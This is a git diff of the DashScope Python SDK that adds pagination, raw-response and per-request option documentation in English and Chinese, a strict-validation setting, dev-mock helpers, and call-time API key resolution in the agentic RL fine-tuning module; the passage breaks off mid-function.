diff --git a/.gitignore b/.gitignore index 0fbbae98..3c201c86 100644 --- a/.gitignore +++ b/.gitignore @@ -146,3 +146,8 @@ cython_debug/ # Local PyPI investigation tooling; the CI guard lives in tests/legacy_1x/unit/. /scripts/ + +# Dev mock record/replay fixtures — recorded response bodies can carry +# generated content, tool-call arguments or account data. Never commit them. +dashscope_mock.jsonl +*.dashscope_mock.jsonl diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index a9e4c914..ffe2d8c9 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -187,6 +187,12 @@ repos: --disable=R1732, --disable=W0108, --disable=R1711, + # astroid resolves an @overload set to its first stub body, so a + # resource method typed with overloads (``raw=False`` -> ModelList, + # ``raw=True`` -> APIResponse) infers as None at the call site and + # iterating the result reads as non-iterable. dashscope/ keeps + # E1133 enabled. + --disable=E1133, ] - repo: https://github.com/pre-commit/mirrors-eslint rev: v7.32.0 diff --git a/README.md b/README.md index 6cecb3a4..df7b550a 100644 --- a/README.md +++ b/README.md @@ -183,6 +183,82 @@ resp.request_id All responses share a common envelope: `request_id`, `status_code`, `code`, `message`, `is_error`, and raw `headers`. +### Pagination + +List endpoints return a page object you can iterate and advance instead of looping `page_no` by hand: + +```python +page = client.models.list(page_no=1, page_size=10) + +for model in page: # this page's items + ... +page.total_count # catalog total, as reported by the gateway +page.has_next_page() +page.next_page() # None on the last page + +for page in client.models.list(page_size=50).iter_pages(): # every page + ... +``` + +On `AsyncClient` use `await page.next_page_async()` and `async for page in page.iter_pages_async()`. Calling the synchronous traversal on an async-fetched page raises `TypeError` naming the async method, rather than handing back an un-awaited coroutine. `client.files.list()` and `client.images.jobs.list()` paginate the same way. + +Serialize a page with `model_dump()`. Iterating a page yields its *items*, so `dict(page)` is not a way to read its fields. + +`models.list(provider=...)` filters client-side: it narrows each page's `models`, while `total_count` stays the whole-catalog total. Pagination therefore walks the unfiltered catalog and the filter is applied to each page as it arrives. + +### Raw responses + +Pass `raw=True` to get the response object itself, before any error check: + +```python +resp = client.models.list(raw=True) + +resp.status_code +resp.headers # includes non-standard gateway headers +resp.request_id +resp.elapsed +resp.json() # decoded body +resp.parse(ModelList) # typed model, memoized per type +``` + +`raw=True` skips the error check, so a 4xx/5xx is returned to you instead of raising. `raise_for_status()` applies it after the fact. + +`parse(...)` needs the model class, and the v2 resource models are not re-exported from the top-level package — import them from where they are defined: + +```python +from dashscope.resources.models import ModelList, Model +from dashscope.resources.files import FileList, File +from dashscope.resources._jobs import Job, JobList +from dashscope.resources.embeddings import EmbeddingResponse +``` + +`resp.parse(...)` is the generic envelope mapping and does not replay a resource's own reshaping — on `models.list`, a page the gateway delivered as a bare list parses through it as empty. Use `resp.json()` when you need exactly what the resource method would have built. + +### Per-request options + +Every resource method that makes an HTTP request takes the same three escape hatches, for anything this SDK does not model yet: + +```python +client.chat.completions.create( + model="qwen-plus", + messages=["hi"], + extra_headers={"x-gateway-experiment": "on"}, + extra_query={"debug": "1"}, + extra_body={"parameters": {"top_k": 5}}, +) +``` + +`extra_headers` sits above every other layer — the SDK identity headers, the client defaults, your `headers=`, and a per-call `api_key=` / `workspace=` — matched case-insensitively. `extra_body` deep-merges nested dicts, so adding one nested field keeps its siblings; lists and scalars replace. A request whose body is not a JSON object (a file upload, raw bytes) has nothing to merge into, so `extra_body` is dropped with a warning rather than silently lost. + +`max_retries` narrows or widens the retry budget for a single call, so a request that must not be replayed no longer needs a whole derived client: + +```python +client.deployments.list(max_retries=0) # one attempt, no retry +client.with_options(max_retries=5) # still works, client-wide +``` + +Streaming methods take all four: `open_stream` retries only while no event has reached you yet, so a mid-stream failure is never replayed. The websocket methods (`audio.asr.recognize` / `recognize_file`, `tingwu.realtime`) take none of them — that transport has no per-request options channel, so a parameter there would be silently inert. + ### Streaming `stream=True` returns a `ChatStream` (`AsyncChatStream` for `AsyncClient`) with typed helpers: @@ -283,6 +359,7 @@ dashscope.settings.log_level = "INFO" | `DASHSCOPE_WEBSOCKET_BASE_URL` | Override the WebSocket endpoint | derived from region/workspace | | `DASHSCOPE_TIMEOUT` | Request timeout (seconds) | `300` | | `DASHSCOPE_MAX_RETRIES` | Automatic retries | `2` | +| `DASHSCOPE_STRICT_VALIDATION` | Raise on a response body that does not fit its typed model instead of degrading it | `false` | | `DASHSCOPE_HTTP_MAX_CONNECTIONS` | Connection-pool size | `100` | | `DASHSCOPE_HTTP_MAX_KEEPALIVE_CONNECTIONS` | Keep-alive connections held in the pool | `20` | | `DASHSCOPE_HTTP_KEEPALIVE_EXPIRY` | Keep-alive expiry (seconds) | `5.0` | @@ -292,6 +369,10 @@ dashscope.settings.log_level = "INFO" The three `DASHSCOPE_HTTP_*` pool variables are also settable as `http_max_connections`, `http_max_keepalive_connections` and `http_keepalive_expiry` in `settings` and `config.toml`. Passing your own `http_client=` takes precedence over all of them. +By default a response body that does not fit the SDK's typed models is parsed in degraded form — the offending fields fall back to their defaults and the rest of the payload stays usable — with the drift recorded at `DEBUG` on the `dashscope._logging.parse` logger. Set `DASHSCOPE_STRICT_VALIDATION=true` (or `Client(strict_validation=True)`, `settings.strict_validation = True`, `strict_validation = true` in `config.toml`) to raise `APIResponseValidationError` instead, which is what you want in CI or contract tests. Strict validation raises even under `raise_on_error=False`: that flag governs service errors, this one governs parse errors. + +One caveat: `DEBUG` is below the SDK's default log level, so a degraded parse is silent unless you raise it — see [Logging](#logging) — and `strict_validation` is the only way to make drift fail loudly. The typed-parse path covers every resource, and not only the final response object: streamed frames (`apps`, `deployments.stream_events`, `fine_tunes.stream_events`, `audio.tts.http.stream`) and websocket results (`audio.asr`) degrade frame by frame as well, so one malformed event cannot break an iteration partway through with a `pydantic.ValidationError` that no `except DashScopeError` would catch. + **Config file** (`~/.dashscope/config.toml`): ```toml diff --git a/README_zh.md b/README_zh.md index cbfd4ad4..6635b5c7 100644 --- a/README_zh.md +++ b/README_zh.md @@ -183,6 +183,82 @@ resp.request_id 所有响应共享统一信封:`request_id`、`status_code`、`code`、`message`、`is_error`,以及原始的 `headers`。 +### 分页 + +列表类接口返回一个可迭代、可翻页的页面对象,不必自己循环 `page_no`: + +```python +page = client.models.list(page_no=1, page_size=10) + +for model in page: # 仅当前页的条目 + ... +page.total_count # 网关上报的目录总数 +page.has_next_page() +page.next_page() # 末页返回 None + +for page in client.models.list(page_size=50).iter_pages(): # 遍历所有页 + ... +``` + +`AsyncClient` 上请用 `await page.next_page_async()` 和 `async for page in page.iter_pages_async()`。对异步取回的页面调用同步翻页方法会抛出 `TypeError` 并指明该用哪个异步方法,而不是把一个未 await 的 coroutine 交给你。`client.files.list()` 和 `client.images.jobs.list()` 的分页方式相同。 + +序列化页面请用 `model_dump()`。迭代页面对象得到的是它的**条目**,所以 `dict(page)` 不是读取字段的方式。 + +`models.list(provider=...)` 是客户端侧过滤:它只收窄每一页的 `models`,而 `total_count` 始终是整个目录的总数。因此翻页走的是未过滤的目录,过滤在每页到达时各自施加。 + +### 原始响应 + +传 `raw=True` 可以拿到响应对象本身,且在任何错误检查之前: + +```python +resp = client.models.list(raw=True) + +resp.status_code +resp.headers # 含网关的非标准响应头 +resp.request_id +resp.elapsed +resp.json() # 解码后的报文体 +resp.parse(ModelList) # 类型化模型,按类型记忆化 +``` + +`raw=True` 会跳过错误检查,所以 4xx/5xx 是返回给你而不是抛异常。事后可以用 `raise_for_status()` 补上这道检查。 + +`parse(...)` 需要模型类本身,而 v2 的资源模型没有从顶层包再导出——请从它们各自定义的模块导入: + +```python +from dashscope.resources.models import ModelList, Model +from dashscope.resources.files import FileList, File +from dashscope.resources._jobs import Job, JobList +from dashscope.resources.embeddings import EmbeddingResponse +``` + +`resp.parse(...)` 走的是通用信封映射,不会重放资源自己的重塑逻辑——对 `models.list` 而言,网关以裸数组形式下发的页经它解析会得到空目录。若你需要与资源方法完全一致的结果,请用 `resp.json()`。 + +### 单次请求定制 + +所有发起 HTTP 请求的资源方法都接受同样的三个逃生舱,用于承载 SDK 尚未建模的东西: + +```python +client.chat.completions.create( + model="qwen-plus", + messages=["hi"], + extra_headers={"x-gateway-experiment": "on"}, + extra_query={"debug": "1"}, + extra_body={"parameters": {"top_k": 5}}, +) +``` + +`extra_headers` 位于所有其他层之上——SDK 身份头、客户端默认头、你的 `headers=`、以及单次调用的 `api_key=` / `workspace=`——且大小写不敏感匹配。`extra_body` 对嵌套 dict 做深合并,所以新增一个嵌套字段不会丢掉它的兄弟字段;列表和标量则是整体替换。若请求体不是 JSON 对象(文件上传、裸字节),就无处可合并,此时 `extra_body` 会被丢弃并告警,而不是静默丢失。 + +`max_retries` 为单次调用收窄或放宽重试预算,所以一个绝不能被重放的请求不再需要派生整个客户端: + +```python +client.deployments.list(max_retries=0) # 只打一次,不重试 +client.with_options(max_retries=5) # 依然有效,作用于整个客户端 +``` + +流式方法四个都接受:`open_stream` 只在还没有任何事件到达你之前重试,所以流中途的失败绝不会被重放。WebSocket 方法(`audio.asr.recognize` / `recognize_file`、`tingwu.realtime`)一个都不接受——那条传输链路根本没有单次请求的 options 通道,加了形参也只会被静默忽略。 + ### 流式 `stream=True` 返回 `ChatStream`(`AsyncClient` 对应 `AsyncChatStream`),并提供类型化辅助属性: @@ -283,6 +359,7 @@ dashscope.settings.log_level = "INFO" | `DASHSCOPE_WEBSOCKET_BASE_URL` | 覆盖 WebSocket 端点 | 由地域/业务空间推导 | | `DASHSCOPE_TIMEOUT` | 请求超时(秒) | `300` | | `DASHSCOPE_MAX_RETRIES` | 自动重试次数 | `2` | +| `DASHSCOPE_STRICT_VALIDATION` | 响应体与类型模型不符时抛错,而不是降级解析 | `false` | | `DASHSCOPE_HTTP_MAX_CONNECTIONS` | 连接池大小 | `100` | | `DASHSCOPE_HTTP_MAX_KEEPALIVE_CONNECTIONS` | 连接池保持的 keep-alive 连接数 | `20` | | `DASHSCOPE_HTTP_KEEPALIVE_EXPIRY` | keep-alive 过期时间(秒) | `5.0` | @@ -292,6 +369,10 @@ dashscope.settings.log_level = "INFO" 三个 `DASHSCOPE_HTTP_*` 连接池变量同样可以在 `settings` 和 `config.toml` 中以 `http_max_connections`、`http_max_keepalive_connections`、`http_keepalive_expiry` 设置。传入自备的 `http_client=` 时,以它为准,上述配置全部被忽略。 +默认情况下,若响应体与 SDK 的类型模型不符,会走降级解析——出问题的字段回退到各自的默认值,报文中其余部分照常可用——同时把漂移以 `DEBUG` 级别记录到 `dashscope._logging.parse` 这个 logger。设置 `DASHSCOPE_STRICT_VALIDATION=true`(或 `Client(strict_validation=True)`、`settings.strict_validation = True`、`config.toml` 里的 `strict_validation = true`)则改为抛出 `APIResponseValidationError`,这正是 CI 或契约测试想要的行为。严格校验即使在 `raise_on_error=False` 下也会抛错:那个开关管的是服务端错误,这个管的是解析错误。 + +一点需要注意:`DEBUG` 低于 SDK 的默认日志级别,所以除非你调高它(见[日志](#日志)),降级解析是无声的——而 `strict_validation` 是让漂移大声失败的唯一手段。类型化解析路径覆盖全部资源,且不止最终的响应对象:流式帧(`apps`、`deployments.stream_events`、`fine_tunes.stream_events`、`audio.tts.http.stream`)和 WebSocket 结果(`audio.asr`)同样逐帧降级,因此单个畸形事件不会在迭代中途抛出 `except DashScopeError` 抓不到的 `pydantic.ValidationError`。 + **配置文件**(`~/.dashscope/config.toml`): ```toml diff --git a/dashscope/__init__.py b/dashscope/__init__.py index 893676f1..5fd3ef90 100644 --- a/dashscope/__init__.py +++ b/dashscope/__init__.py @@ -132,6 +132,36 @@ def set_region(region: str, workspace_id: str = None): base_websocket_api_url = f"wss://{host}/api-ws/v1/inference" +def enable_dev_mock( + mode: str = "static", + fixture_path: "str | None" = None, +) -> None: + """Turn on the dev mock process-wide (``static``/``replay``/``record``). + + Thin forwarder to :mod:`dashscope.devkit`; imported lazily so the + devkit package is never loaded on the production success path. Once + enabled, every ``Client``/``AsyncClient`` HTTP call is intercepted at + the transport. Equivalent to ``DASHSCOPE_DEV_MOCK=``. + """ + from dashscope import devkit + + devkit.enable_dev_mock(mode, fixture_path) + + +def disable_dev_mock() -> None: + """Turn the dev mock back off (forwarder to the devkit package).""" + from dashscope import devkit + + devkit.disable_dev_mock() + + +def dev_mock_active() -> bool: + """Whether the dev mock is currently active.""" + from dashscope import devkit + + return devkit.is_active() + + # The Assistants API (dashscope.legacy_1x.assistants / # dashscope.legacy_1x.threads) is deprecated. # Resolve its names lazily (PEP 562) so a plain `import dashscope` does not emit @@ -275,6 +305,9 @@ def __dir__(): "WsConnection", "WsTask", "chat", + "dev_mock_active", + "disable_dev_mock", + "enable_dev_mock", "errors", "set_region", ] diff --git a/dashscope/_config.py b/dashscope/_config.py index cfd8580d..145d6d04 100644 --- a/dashscope/_config.py +++ b/dashscope/_config.py @@ -88,6 +88,11 @@ DEFAULT_HTTP_MAX_KEEPALIVE_CONNECTIONS = 20 DEFAULT_HTTP_KEEPALIVE_EXPIRY = 5.0 +# Response bodies that do not fit the typed models degrade by default, +# so a gateway adding or retyping a field cannot take a caller's process +# down; strict mode opts back into raising for contract testing. +DEFAULT_STRICT_VALIDATION = False + # Each wire protocol lives at its own URL path under the gateway host. PROTOCOL_DEFAULT_PATHS = { "native": "/api/v1", @@ -133,6 +138,7 @@ "DASHSCOPE_HTTP_MAX_KEEPALIVE_CONNECTIONS" ) _HTTP_KEEPALIVE_EXPIRY_ENV = "DASHSCOPE_HTTP_KEEPALIVE_EXPIRY" +_STRICT_VALIDATION_ENV = "DASHSCOPE_STRICT_VALIDATION" _LOG_ENV = "DASHSCOPE_LOG" _CONFIG_PATH_ENV = "DASHSCOPE_CONFIG" _DEFAULT_CONFIG_PATH = "~/.dashscope/config.toml" @@ -153,6 +159,7 @@ "http_max_connections", "http_max_keepalive_connections", "http_keepalive_expiry", + "strict_validation", }, ) @@ -181,6 +188,38 @@ def _env_int(name: str) -> Optional[int]: ) from None +# Recognised spellings for a boolean setting. Anything else is rejected +# rather than coerced: ``"0"`` silently reading as true (the bare +# truthiness trap) would flip a caller into the wrong mode. +_TRUTHY = frozenset({"1", "true", "yes", "on", "t", "y"}) +_FALSY = frozenset({"0", "false", "no", "off", "f", "n"}) + + +def _coerce_bool(name: str, raw: Any) -> bool: + """Interpret one boolean-ish value, shared by env and ``settings``.""" + if isinstance(raw, bool): + return raw + if isinstance(raw, int) and raw in (0, 1): + return bool(raw) + if isinstance(raw, str): + normalized = raw.strip().lower() + if normalized in _TRUTHY: + return True + if normalized in _FALSY: + return False + raise ValueError( + f"invalid {name}={raw!r}: expected a boolean " + "(true/false, 1/0, yes/no, on/off)", + ) + + +def _env_bool(name: str) -> Optional[bool]: + raw = os.environ.get(name) + if raw is None or not raw.strip(): + return None + return _coerce_bool(name, raw) + + def _legacy_fallback(host: str) -> str: """Return the legacy gateway host, nudging toward a workspace. @@ -304,6 +343,10 @@ class Config: DEFAULT_HTTP_MAX_KEEPALIVE_CONNECTIONS ) http_keepalive_expiry: float = DEFAULT_HTTP_KEEPALIVE_EXPIRY + # Raise instead of degrading when a response body does not fit its + # typed model. Off by default so a gateway retyping a field cannot + # break callers; turn it on in CI to catch contract drift. + strict_validation: bool = DEFAULT_STRICT_VALIDATION class Settings: @@ -504,6 +547,23 @@ def http_keepalive_expiry(self, value: float) -> None: with self._lock: self._explicit["http_keepalive_expiry"] = value + @property + def strict_validation(self) -> bool: + # ``is None``, not truthiness: an explicit ``False`` must win over + # the environment instead of falling through to it. + value = self._explicit.get("strict_validation") + if value is None: + value = _env_bool(_STRICT_VALIDATION_ENV) + if value is None: + return DEFAULT_STRICT_VALIDATION + return value + + @strict_validation.setter + def strict_validation(self, value: Union[bool, int, str]) -> None: + coerced = _coerce_bool("strict_validation", value) + with self._lock: + self._explicit["strict_validation"] = coerced + @property def log_level(self) -> Optional[str]: return self._explicit.get("log_level") or os.environ.get(_LOG_ENV) @@ -607,6 +667,7 @@ def resolve_config( protocol: Optional[str] = None, timeout: Optional[float] = None, max_retries: Optional[int] = None, + strict_validation: Optional[bool] = None, config_path: Union[str, Path, None] = None, ) -> Config: path = ( @@ -702,6 +763,19 @@ def resolve_config( f"got {resolved_http_keepalive_expiry}", ) + # _coerce_bool rather than bool(): a config.toml written as + # strict_validation = "false" would otherwise read as True. + resolved_strict_validation = _coerce_bool( + "strict_validation", + _pick( + strict_validation, + settings.get_explicit("strict_validation"), + _env_bool(_STRICT_VALIDATION_ENV), + file_cfg.get("strict_validation"), + DEFAULT_STRICT_VALIDATION, + ), + ) + resolved_workspace = _pick( workspace, settings.get_explicit("workspace"), @@ -770,4 +844,5 @@ def resolve_config( http_max_connections=resolved_http_max_connections, http_max_keepalive_connections=resolved_http_max_keepalive, http_keepalive_expiry=resolved_http_keepalive_expiry, + strict_validation=resolved_strict_validation, ) diff --git a/dashscope/applications/finetune/agentic_rl.py b/dashscope/applications/finetune/agentic_rl.py index 30bb9992..5d4e9690 100644 --- a/dashscope/applications/finetune/agentic_rl.py +++ b/dashscope/applications/finetune/agentic_rl.py @@ -21,7 +21,6 @@ from __future__ import annotations -import os import time from typing import Union, List, Optional, ClassVar, Dict, Any from typing_extensions import Self @@ -58,6 +57,7 @@ generate_random_id, get_func_type_id, deep_remove_none, + resolve_api_key, ) from dashscope.applications.finetune.reinforcement.common.errors import ( RegistrationError, @@ -148,7 +148,7 @@ def __init__(self, api_key: str = None): def _resolve_api_key(self) -> str: """The key to submit with; see the module docstring.""" - return self._api_key or os.environ.get("DASHSCOPE_API_KEY", "") + return resolve_api_key(self._api_key) def init(self, config_path: Optional[str] = None, **kwargs) -> Self: """ @@ -190,6 +190,7 @@ async def register_functions( group_reward_instance_ids, ) = await self.tuning.register_functions( lazy_load=lazy_load, + api_key=self._api_key, ) logger.info("Function components registered") except Exception as e: @@ -226,6 +227,7 @@ async def upload_datasets( ) = await self.tuning.upload_datasets( training_files=training_files or [], validation_files=validation_files or [], + api_key=self._resolve_api_key(), ) logger.info("Datasets uploaded") except Exception as e: @@ -573,6 +575,7 @@ async def test_functions( result = await AgenticRLFunctionComponent.verify_function( value, instance_id, + api_key=api_key, ) if pull_logs: @@ -581,6 +584,7 @@ async def test_functions( page_size=log_page_size, start_time=start_time, end_time=end_time, + api_key=api_key, ) return result @@ -629,6 +633,7 @@ async def query_function_instance_logs( start_time=start_time, end_time=end_time, keywords=keywords, + api_key=api_key, ) except Exception as e: @@ -676,6 +681,7 @@ async def query_all_function_instance_logs( start_time=start_time, end_time=end_time, keywords=keywords, + api_key=api_key, ) except Exception as e: @@ -713,6 +719,7 @@ async def delete_function_instance( fc_component = AgenticRLFunctionComponent return await fc_component.delete_function_instance( function_instance_id=function_instance_id, + api_key=api_key, ) except Exception as e: @@ -730,6 +737,7 @@ async def _pull_function_instance_logs( page_size: int = 100, start_time: Optional[int] = None, end_time: Optional[int] = None, + api_key: Optional[str] = None, ) -> None: """Pull all logs of a function instance and print them between separator markers (best effort, never raises). @@ -751,6 +759,7 @@ async def _pull_function_instance_logs( page_size=page_size, start_time=start_time, end_time=end_time, + api_key=api_key, ) for entry in logs: logger.info(f"[function instance log] {entry}") diff --git a/dashscope/applications/finetune/reinforcement/__init__.py b/dashscope/applications/finetune/reinforcement/__init__.py index 88df537a..80dc0e8b 100644 --- a/dashscope/applications/finetune/reinforcement/__init__.py +++ b/dashscope/applications/finetune/reinforcement/__init__.py @@ -41,6 +41,8 @@ DATASETS_FILE_SIZE_WARNING, HTTP_REQUEST_TIMEOUT, LOGGER_FILTER_FIELDS, + resolve_api_key, + resolve_fc_api_key, ) from .common.errors import ( AgenticRLError, @@ -174,6 +176,8 @@ "DATASETS_FILE_SIZE_WARNING", "HTTP_REQUEST_TIMEOUT", "LOGGER_FILTER_FIELDS", + "resolve_api_key", + "resolve_fc_api_key", # Errors "AgenticRLError", "InputError", diff --git a/dashscope/applications/finetune/reinforcement/common/constants.py b/dashscope/applications/finetune/reinforcement/common/constants.py index e29a7273..2880ce8a 100644 --- a/dashscope/applications/finetune/reinforcement/common/constants.py +++ b/dashscope/applications/finetune/reinforcement/common/constants.py @@ -1,6 +1,7 @@ # -*- coding: utf-8 -*- import logging import os +from typing import Optional # -------------------------- @@ -29,9 +30,44 @@ def get_int_env(env_var: str, default: int) -> int: ) # API Key configuration +# +# ``DASHSCOPE_API_KEY`` / ``FC_API_KEY`` below are import-time snapshots, +# kept only for backwards compatibility with code that reads them +# directly. They must NOT be used as the runtime credential source: a key +# passed to ``AgenticRL(api_key=...)`` -- or written to the environment +# after this module is imported -- never reaches a value frozen at import, +# and several ``AgenticRL`` instances in one process would fight over the +# same module global. Resolve credentials at call time through +# ``resolve_api_key`` / ``resolve_fc_api_key`` instead. DASHSCOPE_API_KEY = os.environ.get("DASHSCOPE_API_KEY", "") FC_API_KEY = os.environ.get("FC_API_KEY", DASHSCOPE_API_KEY) + +def resolve_api_key(api_key: Optional[str] = None) -> str: + """Resolve the DashScope credential at call time. + + Prefers an explicitly supplied key (instance-scoped), then falls back + to the current environment. Never reads the import-time constant, so a + key set after import -- or held by one ``AgenticRL`` instance among + many in the same process -- is honored. + """ + return api_key or os.environ.get("DASHSCOPE_API_KEY", "") or "" + + +def resolve_fc_api_key(api_key: Optional[str] = None) -> str: + """Resolve the Function Compute credential at call time. + + Prefers an explicitly supplied key (instance-scoped), then ``FC_API_KEY``, + then ``DASHSCOPE_API_KEY`` from the current environment. + """ + return ( + api_key + or os.environ.get("FC_API_KEY") + or os.environ.get("DASHSCOPE_API_KEY") + or "" + ) + + # -------------------------- # Logging Configuration # -------------------------- diff --git a/dashscope/applications/finetune/reinforcement/common/model.py b/dashscope/applications/finetune/reinforcement/common/model.py index f07c7f68..31ffa4a8 100644 --- a/dashscope/applications/finetune/reinforcement/common/model.py +++ b/dashscope/applications/finetune/reinforcement/common/model.py @@ -24,7 +24,6 @@ # Local Application from .constants import ( - FC_API_KEY, FC_DELETE_API, FC_LOAD_API, FC_QUERY_API, @@ -41,6 +40,7 @@ FC_LAYER_STATUS_TIMEOUT, FC_LAYER_STATUS_INTERVAL, LOG_LEVEL, + resolve_fc_api_key, ) from .model_types import ( FileSpec, @@ -77,6 +77,7 @@ ) from .log import logger from .errors import ( + AgenticRLError, InputError, OutputError, OSSConnectionError, @@ -139,7 +140,10 @@ class Dataset(BaseModel): download_url: Optional[str] = None mount_storage: Optional[MountStorage] = None - async def upload_dataset(self) -> Optional[str]: + async def upload_dataset( + self, + api_key: Optional[str] = None, + ) -> Optional[str]: if ( self.data_source_type == DataSourceType.FILE_ID and self.file_name is not None @@ -147,10 +151,14 @@ async def upload_dataset(self) -> Optional[str]: try: file_id = await to_bailian_data( [FileSpec(path=self.file_name)], + api_key=api_key, ) - if file_id and isinstance(file_id, List) and len(file_id) > 0: + if file_id and isinstance(file_id, list) and len(file_id) > 0: self.file_id = file_id[0] + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise OSSUploadError( "Failed to upload datasets", @@ -160,6 +168,23 @@ async def upload_dataset(self) -> Optional[str]: return self.file_id +def _normalize_file_param( + value: Optional[Union[List[str], str]], +) -> List[str]: + """Normalize a dataset file parameter to a list of paths. + + ``None`` (the default) becomes an empty list instead of ``[None]``, + a single string becomes a one-element list, and any other iterable + is converted to a list. Runtime type checks use builtin types -- + ``typing`` aliases are annotations, not classes to test against. + """ + if value is None: + return [] + if isinstance(value, str): + return [value] + return list(value) + + class Datasets(BaseModel): name: str = None datasets: List[Dataset] = None @@ -169,17 +194,10 @@ async def upload_datasets( cls, training_files: Union[List[str], str] = None, validation_files: Union[List[str], str] = None, + api_key: Optional[str] = None, ) -> Tuple[Optional[List[str]], Optional[List[str]]]: - training_files = ( - training_files - if isinstance(training_files, List) - else [training_files] - ) - validation_files = ( - validation_files - if isinstance(validation_files, List) - else [validation_files] - ) + training_files = _normalize_file_param(training_files) + validation_files = _normalize_file_param(validation_files) training_filespecs = [FileSpec(path=f) for f in training_files] validation_filespecs = [FileSpec(path=f) for f in validation_files] @@ -190,12 +208,17 @@ async def upload_datasets( if training_files: uploaded_training_ids = await to_bailian_data( training_filespecs, + api_key=api_key, ) if validation_files: uploaded_validation_ids = await to_bailian_data( validation_filespecs, + api_key=api_key, ) + except AgenticRLError: + # Keep the specific classification (code/solution/allow_retry) + raise except Exception as e: raise OSSUploadError( "Failed to upload datasets", @@ -357,14 +380,18 @@ def generate_id(self, func_type: FunctionType) -> str: ) return oss_id - async def get_oss(self, oss_id: Optional[str] = None) -> str: + async def get_oss( + self, + oss_id: Optional[str] = None, + api_key: Optional[str] = None, + ) -> str: """Retrieve OSS signed URL for deployment package.""" try: if oss_id: self.oss_id = oss_id result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), FC_UPLOAD_OSS_API, {"unique_key": self.oss_id}, ) @@ -393,6 +420,7 @@ async def create_layer( self, name: str = FC_LAYER_NAME, requirements_file: str = FC_REQUIREMENTS_FILE, + api_key: Optional[str] = None, # oss_signed_url: str = None, ) -> str: """Retrieve OSS signed URL for deployment package.""" @@ -411,7 +439,7 @@ async def create_layer( # oss_signed_url = oss_signed_url or self.oss_signed_url result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), FC_LAYER_CREATE_API, { "layer_name": layer_name, @@ -500,7 +528,11 @@ async def to_oss( return - async def get_layer(self, layer_code: str) -> str: + async def get_layer( + self, + layer_code: str, + api_key: Optional[str] = None, + ) -> str: """Wait for an FC layer build to finish and return its final status. Raises FunctionLayerError when the layer fails to build, when the @@ -516,7 +548,7 @@ async def get_layer(self, layer_code: str) -> str: attempt += 1 try: result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), FC_LAYER_QUERY_API, { "layer_code": layer_code, @@ -734,6 +766,7 @@ async def register( self, oss_id: Optional[str] = None, oss_url: Optional[str] = None, + api_key: Optional[str] = None, ) -> ResponseFC: """Register function in the deployment system.""" try: @@ -743,7 +776,7 @@ async def register( self.fcmodel.oss_signed_url = oss_url else: self.fcmodel.generate_id(self.type) - await self.fcmodel.get_oss() + await self.fcmodel.get_oss(api_key=api_key) # Split: classpath to filepath & classname if self.fcmodel.classpath: @@ -759,7 +792,9 @@ async def register( if FC_LAYER_USED: if self.runtime is None: self.runtime = FunctionComponentRuntime() - self.runtime.layer_code = await self.fcmodel.create_layer() + self.runtime.layer_code = await self.fcmodel.create_layer( + api_key=api_key, + ) except FunctionLayerError as e: root = e @@ -810,7 +845,7 @@ async def register( ) result = await client_fc( - FC_API_KEY, + resolve_fc_api_key(api_key), endpoint, request.model_dump(), ) @@ -858,6 +893,7 @@ async def load( entity_id: Optional[str] = None, runtime: Optional[FunctionComponentRuntime] = None, warmup: bool = False, + api_key: Optional[str] = None, ) -> ResponseFC: """Load and initialize a registered function instance.""" runtime_obj = runtime or self.runtime @@ -881,6 +917,7 @@ async def load( ) await self.fcmodel.get_layer( layer_code=layer_code, + api_key=api_key, ) # Load function instance @@ -892,7 +929,11 @@ async def load( job_id = generate_random_id() url = f"{FC_LOAD_API}/jobId-{job_id}/{target_entity_id}" - result = await client_fc(FC_API_KEY, url, runtime_dict) + result = await client_fc( + resolve_fc_api_key(api_key), + url, + runtime_dict, + ) self.instance_id = result.get("output", {}).get("instanceId", "") if not self.instance_id: raise FunctionLoadError( @@ -1018,7 +1059,11 @@ async def load( ) @classmethod - async def query(cls, instance_id: str) -> ResponseFC: + async def query( + cls, + instance_id: str, + api_key: Optional[str] = None, + ) -> ResponseFC: """Retrieve current status of a function instance.""" try: if not instance_id: @@ -1028,7 +1073,7 @@ async def query(cls, instance_id: str) -> ResponseFC: ) url = f"{FC_QUERY_API}/{instance_id}" - result = await client_fc(FC_API_KEY, url, {}) + result = await client_fc(resolve_fc_api_key(api_key), url, {}) status = result.get("output", {}).get("status", -1) if status == -1: raise InstanceQueryError( @@ -1073,6 +1118,7 @@ async def verify_function( instance_id: Optional[str] = None, instance_url: Optional[str] = None, instance_token: Optional[str] = None, + api_key: Optional[str] = None, ) -> Dict: """Validate deployed function functionality.""" try: @@ -1082,7 +1128,7 @@ async def verify_function( "instance_id is required for verification", error_code=2041, ) - result = await cls.query(instance_id) + result = await cls.query(instance_id, api_key=api_key) if result.status.task != StatusType.SUCCEEDED: raise InstanceQueryError( "Status query failed", @@ -1244,6 +1290,7 @@ async def query_function_instance_logs( start_time: Optional[int] = None, end_time: Optional[int] = None, keywords: Optional[List[str]] = None, + api_key: Optional[str] = None, ) -> Dict[str, Any]: """Query logs of a function (faas) instance (single page). @@ -1276,7 +1323,11 @@ async def query_function_instance_logs( if keywords: request_data["keywords"] = keywords - result = await client_fc(FC_API_KEY, url, request_data) + result = await client_fc( + resolve_fc_api_key(api_key), + url, + request_data, + ) status = result.get("status", {}) if isinstance(status, Dict) and status.get("code", 200) != 200: raise InstanceQueryError( @@ -1307,6 +1358,7 @@ async def query_all_function_instance_logs( end_time: Optional[int] = None, keywords: Optional[List[str]] = None, max_pages: int = 100, + api_key: Optional[str] = None, ) -> List[str]: """Fetch all logs of a function (faas) instance with pagination. @@ -1335,6 +1387,7 @@ async def query_all_function_instance_logs( start_time=start_time, end_time=end_time, keywords=keywords, + api_key=api_key, ) logs, total = cls._extract_log_page(result) all_logs.extend(logs) @@ -1356,6 +1409,7 @@ async def query_all_function_instance_logs( async def delete_function_instance( cls, function_instance_id: str, + api_key: Optional[str] = None, ) -> Dict[str, Any]: """Delete a function (faas) runtime instance. @@ -1381,7 +1435,7 @@ async def delete_function_instance( ) url = f"{FC_DELETE_API}/{function_instance_id}" - result = await client_fc(FC_API_KEY, url, {}) + result = await client_fc(resolve_fc_api_key(api_key), url, {}) status = result.get("status", {}) if isinstance(status, Dict) and status.get("code", 200) != 200: raise InstanceQueryError( @@ -1450,10 +1504,15 @@ async def register( self, 